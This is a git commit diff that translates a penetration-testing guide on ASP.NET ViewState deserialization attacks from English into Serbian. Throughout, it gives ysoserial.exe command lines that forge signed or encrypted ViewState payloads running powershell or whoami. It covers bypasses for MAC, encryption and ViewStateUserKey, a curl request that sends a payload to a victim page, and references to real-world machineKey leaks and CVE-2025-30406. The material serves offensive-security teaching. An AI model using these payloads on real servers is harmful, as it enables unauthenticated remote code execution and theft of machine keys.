Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-20 09:12:12 +00:00
parent 2d952da538
commit 0cce6abc96

View File

@ -24,7 +24,7 @@ Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u AS
1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje. 1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r." 2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj." 3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r." 4. Za **verzije 4.5 i iznad**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
### Test slučaj: 1 EnableViewStateMac=false i viewStateEncryptionMode=false ### Test slučaj: 1 EnableViewStateMac=false i viewStateEncryptionMode=false
@ -40,13 +40,13 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
``` ```
### Test case 1.5 Kao Test case 1, ali ViewState kolačić nije poslat od strane servera ### Test case 1.5 Kao Test case 1, ali ViewState kolačić nije poslat od strane servera
Developers can **remove ViewState** from becoming part of an HTTP Request (korisnik neće primiti ovaj kolačić).\ Programeri mogu **ukloniti ViewState** iz HTTP zahteva (korisnik neće primiti ovaj kolačić).\
One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\ Može se pretpostaviti da ako **ViewState** **nije prisutan**, njihova implementacija je **sigurna** od bilo kakvih potencijalnih ranjivosti koje proizlaze iz deserializacije ViewState-a.\
However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**. Međutim, to nije slučaj. Ako **dodamo ViewState parametar** u telo zahteva i pošaljemo naš serijalizovani payload kreiran pomoću ysoserial, i dalje ćemo moći da postignemo **izvršenje koda** kao što je prikazano u **Slučaju 1**.
### Test Case: 2 .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false ### Test Case: 2 .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file: Da bismo **omogućili ViewState MAC** za **određenu stranicu**, potrebno je izvršiti sledeće izmene na određenom aspx fajlu:
```bash ```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
``` ```
@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value} --generator = {__VIWESTATEGENERATOR parameter value}
``` ```
U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar **ne morate** da **obezbedite** `--generator` parametar **već ove**: U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar, **ne** morate **navesti** `--generator` parametar **već ove**:
```bash ```bash
--apppath="/" --path="/hello.aspx" --apppath="/" --path="/hello.aspx"
``` ```
@ -112,7 +112,7 @@ U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vredn
**U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...** **U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...**
**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.** **Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i ako je** **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.**
Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga fajlova, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a. Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga fajlova, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
@ -159,8 +159,8 @@ Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva
### Test Case 6 ViewStateUserKeys se koristi ### Test Case 6 ViewStateUserKeys se koristi
Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima se do sada razgovaralo, **payload neće biti obrađen od strane aplikacije**.\ Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima smo do sada razgovarali, **payload neće biti obrađen od strane aplikacije**.\
Treba da koristite još jedan parametar kako biste ispravno kreirali payload: Potrebno je koristiti još jedan parametar kako bi se ispravno kreirao payload:
```bash ```bash
--viewstateuserkey="randomstringdefinedintheserver" --viewstateuserkey="randomstringdefinedintheserver"
``` ```
@ -200,21 +200,19 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
``` ```
Ova **primitive za eksfiltraciju ključeva** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene kod na serveru. Ova **primitive za eksfiltraciju ključeva** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene kod na serveru.
## Scenariji stvarne eksploatacije 2024-2025 i hard-kodirani mašinski ključevi ## Scenariji stvarnog iskorišćavanja 2024-2025 i hard-kodirani mašinski ključevi
### Talas "javnih mašinskih ključeva" Microsoft-a (decembar 2024 februar 2025) ### Talas "javnih mašinskih ključeva" koji je objavio Microsoft (decembar 2024 februar 2025)
Microsoft Threat Intelligence je izvestio o masovnoj eksploataciji ASP.NET sajtova gde je *machineKey* prethodno bio otkriven na javnim izvorima (GitHub gists, blog postovi, paste sajtovi). Protivnici su enumerisali ove ključeve i generisali validne `__VIEWSTATE` gadgete sa novijim `ysoserial.net` 1.41 `--minify` i `--islegacy` flagovima kako bi izbegli WAF ograničenja dužine: Microsoft Threat Intelligence je izvestio o masovnom iskorišćavanju ASP.NET sajtova gde je *machineKey* prethodno bio otkriven na javnim izvorima (GitHub gists, blog postovi, paste sajtovi). Protivnici su enumerisali ove ključeve i generisali validne `__VIEWSTATE` gadgete sa novijim `ysoserial.net` 1.41 `--minify` i `--islegacy` zastavicama kako bi izbegli WAF ograničenja dužine:
```bash ```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \ --validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \ --decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify --generator=<VIEWSTATEGEN> --minify
``` ```
Rotiranje statičkih ključeva ili prelazak na *AutoGenerate* ključeve u Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) ublažava ovu klasu napada. {{#ref}} Rotiranje statičkih ključeva ili prelazak na *AutoGenerate* ključeve u Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) ublažava ovu klasu napada.
{{#endref}} ### CVE-2025-30406 Gladinet CentreStack / Triofox hard-kodirani ključevi
### CVE-2025-30406 Gladinet CentreStack / Triofox hard-coded ključevi
Kudelski Security je otkrio da su više verzija CentreStack / Triofox isporučene sa identičnim `machineKey` vrednostima, omogućavajući neautentifikovanu daljinsku izvršavanje koda putem ViewState falsifikacije (CVE-2025-30406). Kudelski Security je otkrio da su više verzija CentreStack / Triofox isporučene sa identičnim `machineKey` vrednostima, omogućavajući neautentifikovanu daljinsku izvršavanje koda putem ViewState falsifikacije (CVE-2025-30406).
Jednolinijski exploit: Jednolinijski exploit: